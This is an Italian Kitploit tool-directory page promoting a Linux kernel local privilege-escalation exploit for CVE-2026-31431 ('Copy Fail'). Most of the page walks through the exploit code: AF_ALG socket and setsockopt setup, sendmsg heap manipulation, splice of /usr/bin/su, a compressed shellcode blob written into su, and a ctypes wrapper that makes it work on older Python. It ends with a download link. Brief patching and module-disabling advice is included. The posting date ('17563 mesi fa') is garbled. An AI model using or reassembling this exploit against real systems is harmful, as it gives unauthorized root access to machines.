Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2026-31431 — Copy Fail - CVE-2026-31431 | Kitploit
Strumenti/GitHubGitHub/juanbindez/cve-2026-31431
Escalation di PrivilegiMemory ForensicsAnalisi delle VulnerabilitàExploitShellcodeSviluppo PayloadBinary Exploitation
GitHubjuanbindez/cve-2026-31431

CVE-2026-31431

Copy Fail - CVE-2026-31431

Vedi Repository
17563 mesi faRevisionato da Kitploit

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2026-31431


Dettaglio Copy Fail - CVE-2026-31431

https://nvd.nist.gov/vuln/detail/CVE-2026-31431

https://copy.fail/#exploit

https://xint.io/blog/copy-fail-linux-distributions


Distro / Versioni Testate

DistroVersione
Ubuntu 24.04 LTS6.17.0-1007-aws
Amazon Linux 20236.18.8-9.213.amzn2023
RHEL 10.16.12.0-124.45.1.el10_1
SUSE 166.12.0-160000.9-default

Esecuzione dell'Exploit

root@kitploit:~
main.py

ID del Comando

root@kitploit:~
id

Se appare qualcosa di simile, significa che ora hai accesso root.

immagine

La correzione richiede solo pochi minuti.

Opzione 1: aggiorna il kernel (consigliata)

root@kitploit:~
For Ubuntu/Debian: sudo apt update, sudo apt upgrade -y
For RHEL-based systems: sudo yum update

Riavvia quindi il server.

Opzione 2: disattiva il modulo interessato (correzione temporanea)

Se aggiornare subito non è un'opzione, disattiva il modulo vulnerabile per ridurre l'esposizione:

root@kitploit:~
echo "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif.conf rmmod algif_aead 2>/dev/null || true

Questo non influirà su SSH, TLS, LUKS o OpenSSL.


Tecnica di attacco: CVE-like (Crypto API + splice)

Sembra che sfrutti una vulnerabilità nel sottosistema crypto AF_ALG del kernel Linux, combinata con un uso scorretto di splice()/sendmsg() per:

  • Divulgare puntatori del kernel
  • Corrompere il task_struct del processo
  • Elevare UID a 0 (root)

1. Utilizzo del socket AF_ALG (38)

root@kitploit:~
a = s.socket(38, 5, 0)  # AF_ALG = 38 (kernel crypto interface)
a.bind(("aead", "authencesn(hmac(sha256),cbc(aes))"))
  • Crea un socket crittografico nel kernel
  • Configura il cifrario AES-CBC + HMAC-SHA256
  • Scopo reale: interagire con API interne del kernel

2. setsockopt oscuro (h=279)

root@kitploit:~
v(h, 1, d('0800010000000010'+'0'*64))  # option 1
v(h, 5, None, 4)                        # option 5 (NULL payload)
  • 279 = ALG_SET_KEY (imposta la chiave crittografica)
  • Opzioni non documentate che sfruttano il sottosistema ALG
  • Chiave '0800010000000010' + zeri — probabile trigger della vulnerabilità

3. Tecnica di attacco principale

root@kitploit:~
u.sendmsg([b"A"*4+c], [
    (h, 3, i*4),           # cmsg level 3 (ALG_OP?)
    (h, 2, b'\x10'+i*19),  # cmsg level 2
    (h, 4, b'\x08'+i*3)    # cmsg level 4
], 32768)
  • sendmsg con dati ancillari (messaggi di controllo)
  • La 'i' (contatore) crea dimensioni variabili a ogni iterazione
  • Obiettivo: heap spraying e corruzione della memoria del kernel

4. splice() tra pipe

root@kitploit:~
r, w = g.pipe()           # create anonymous pipe
g.splice(f, w, o, offset_src=0)      # copy from file to pipe
g.splice(r, u.fileno(), o)           # copy from pipe to socket

Trasferimento dati zero-copy tra:

root@kitploit:~
/usr/bin/su (file) → pipe → crypto socket

splice evita le copie user→kernel → operazione interamente nello spazio kernel

5. Payload decompresso

Dati esadecimali:

root@kitploit:~
78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3

Inizia con 78da → header zlib

Il contenuto decompresso probabilmente include:

root@kitploit:~
Shellcode (codice macchina)  
istruzioni di privilege escalation x86_64  

6. Scrittura del payload in su

root@kitploit:~
while i < len(e):
    c(f, i, e[i:i+4])  # writes 4 bytes of shellcode into su

Corrompe /usr/bin/su in memoria (non su disco)

Lo shellcode viene iniettato nel processo su al momento dell'esecuzione

7. Esecuzione finale

root@kitploit:~
g.system("su")

[!NOTE] Se la versione di Python del sistema operativo target è <3.10, usa il codice seguente per farlo funzionare. Prima, però, assicurati di controllare la disponibilità della syscall

root@kitploit:~
python3 - <<'PY'
import ctypes
libc = ctypes.CDLL("libc.so.6")
print("splice syscall wrapper exists:", hasattr(libc, "splice"))
PY

Aggiungi questo frammento di codice nella sezione PAYLOAD_COMPRESSED:

root@kitploit:~
_libc = ctypes.CDLL("libc.so.6", use_errno=True)
_libc.splice.restype = ctypes.c_ssize_t
_libc.splice.argtypes = [
    ctypes.c_int,
    ctypes.POINTER(ctypes.c_int64),
    ctypes.c_int,
    ctypes.POINTER(ctypes.c_int64),
    ctypes.c_size_t,
    ctypes.c_uint,
]

def _splice(src, dst, count, offset_src=None, offset_dst=None, flags=0):
    off_in  = ctypes.byref(ctypes.c_int64(offset_src)) if offset_src is not None else None
    off_out = ctypes.byref(ctypes.c_int64(offset_dst)) if offset_dst is not None else None
    ret = _libc.splice(src, off_in, dst, off_out, count, flags)
    if ret < 0:
        errno = ctypes.get_errno()
        raise OSError(errno, os.strerror(errno))
    return ret

Esegue su (switch user) — ora con payload corrotto

Il su modificato restituisce root senza richiedere password

Scarica lo strumento